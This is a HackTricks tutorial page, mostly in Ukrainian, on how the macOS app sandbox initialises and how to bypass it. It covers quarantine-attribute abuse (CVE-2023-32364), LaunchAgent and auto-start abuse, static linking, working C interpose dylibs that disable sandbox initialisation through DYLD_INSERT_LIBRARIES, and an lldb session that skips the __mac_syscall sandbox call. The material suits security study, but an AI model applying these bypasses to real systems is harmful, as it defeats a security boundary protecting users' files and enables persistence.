macOS Sandbox Debug & Bypass

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Sandbox loading process

Image from http://newosxbook.com/files/HITSB.pdf

У попередньому зображенні можна спостерігати як пісочниця буде завантажена, коли запускається програма з правами com.apple.security.app-sandbox.

Компилятор зв'яже /usr/lib/libSystem.B.dylib з бінарним файлом.

Потім libSystem.B буде викликати кілька інших функцій, поки xpc_pipe_routine не надішле права програми до securityd. Securityd перевіряє, чи процес має бути в карантині всередині пісочниці, і якщо так, він буде в карантині. Нарешті, пісочниця буде активована викликом __sandbox_ms, який викличе __mac_syscall.

Possible Bypasses

Bypassing quarantine attribute

Файли, створені пісочницями, отримують атрибут карантину, щоб запобігти втечі з пісочниці. Однак, якщо вам вдасться створити папку .app без атрибута карантину всередині пісочниці, ви зможете зробити так, щоб бінарний файл пакету програми вказував на /bin/bash і додати деякі змінні середовища в plist, щоб зловживати open для запуску нової програми без пісочниці.

Це було зроблено в CVE-2023-32364.

Отже, на даний момент, якщо ви здатні створити папку з назвою, що закінчується на .app без атрибута карантину, ви можете втекти з пісочниці, оскільки macOS лише перевіряє атрибут карантину в папці .app та в основному виконуваному файлі (і ми вкажемо основний виконуваний файл на /bin/bash).

Зверніть увагу, що якщо пакет .app вже був авторизований для запуску (він має атрибут карантину з прапором авторизації на запуск), ви також можете зловживати цим... за винятком того, що тепер ви не можете записувати всередині пакетів .app, якщо у вас немає деяких привілейованих прав TCC (яких у вас не буде всередині пісочниці).

Abusing Open functionality

У останніх прикладах обходу пісочниці Word можна побачити, як функціональність cli open може бути зловжита для обходу пісочниці.

macOS Office Sandbox Bypasses

Launch Agents/Daemons

Навіть якщо програма призначена для роботи в пісочниці (com.apple.security.app-sandbox), можливо обійти пісочницю, якщо її виконати з LaunchAgent (~/Library/LaunchAgents), наприклад. Як пояснюється в цьому пості, якщо ви хочете отримати стійкість з програмою, яка є пісочницею, ви можете зробити так, щоб вона автоматично виконувалася як LaunchAgent і, можливо, впровадити шкідливий код через змінні середовища DyLib.

Abusing Auto Start Locations

Якщо процес пісочниці може записувати в місце, де пізніше безпісочна програма буде запускати бінарний файл, він зможе втекти, просто помістивши туди бінарний файл. Гарним прикладом таких місць є ~/Library/LaunchAgents або /System/Library/LaunchDaemons.

Для цього вам може знадобитися 2 кроки: Зробити процес з більш ліберальною пісочницею (file-read*, file-write*), щоб виконати ваш код, який насправді запише в місце, де він буде виконаний без пісочниці.

Перевірте цю сторінку про місця автоматичного запуску:

macOS Auto Start

Abusing other processes

Якщо з процесу пісочниці ви зможете компрометувати інші процеси, що працюють в менш обмежених пісочницях (або без них), ви зможете втекти в їх пісочниці:

macOS Process Abuse

Static Compiling & Dynamically linking

Це дослідження виявило 2 способи обійти пісочницю. Оскільки пісочниця застосовується з користувацького простору, коли бібліотека libSystem завантажується. Якщо бінарний файл зможе уникнути її завантаження, він ніколи не буде підпадати під пісочницю:

• Якщо бінарний файл був повністю статично скомпільований, він міг би уникнути завантаження цієї бібліотеки.

• Якщо бінарний файл не потребував би завантаження жодних бібліотек (оскільки лінкер також знаходиться в libSystem), йому не потрібно буде завантажувати libSystem.

Shellcodes

Зверніть увагу, що навіть shellcodes в ARM64 потрібно зв'язувати в libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Entitlements

Зверніть увагу, що навіть якщо деякі дії можуть бути дозволені пісочницею, якщо у програми є конкретне право, як у:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interposting Bypass

Для отримання додаткової інформації про Interposting перегляньте:

macOS Function Hooking

Інтерпост _libsecinit_initializer, щоб запобігти пісочниці

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Інтерпозувати __mac_syscall, щоб запобігти пісочниці

interpose.c

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Налагодження та обхід пісочниці за допомогою lldb

Давайте скомпілюємо програму, яка повинна бути в пісочниці:

sand.c

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

entitlements.xml

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

Info.plist

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

Потім скомпілюйте додаток:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

Додаток спробує прочитати файл ~/Desktop/del.txt, що пісочниця не дозволить. Створіть файл там, оскільки після обходу пісочниці він зможе його прочитати:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

Давайте відлагодимо додаток, щоб побачити, коли завантажується Sandbox:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

Навіть з обхідним шляхом Sandbox TCC запитає користувача, чи хоче він дозволити процесу читати файли з робочого столу

References

• http://newosxbook.com/files/HITSB.pdf

• https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/

• https://www.youtube.com/watch?v=mG715HcDgO8

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.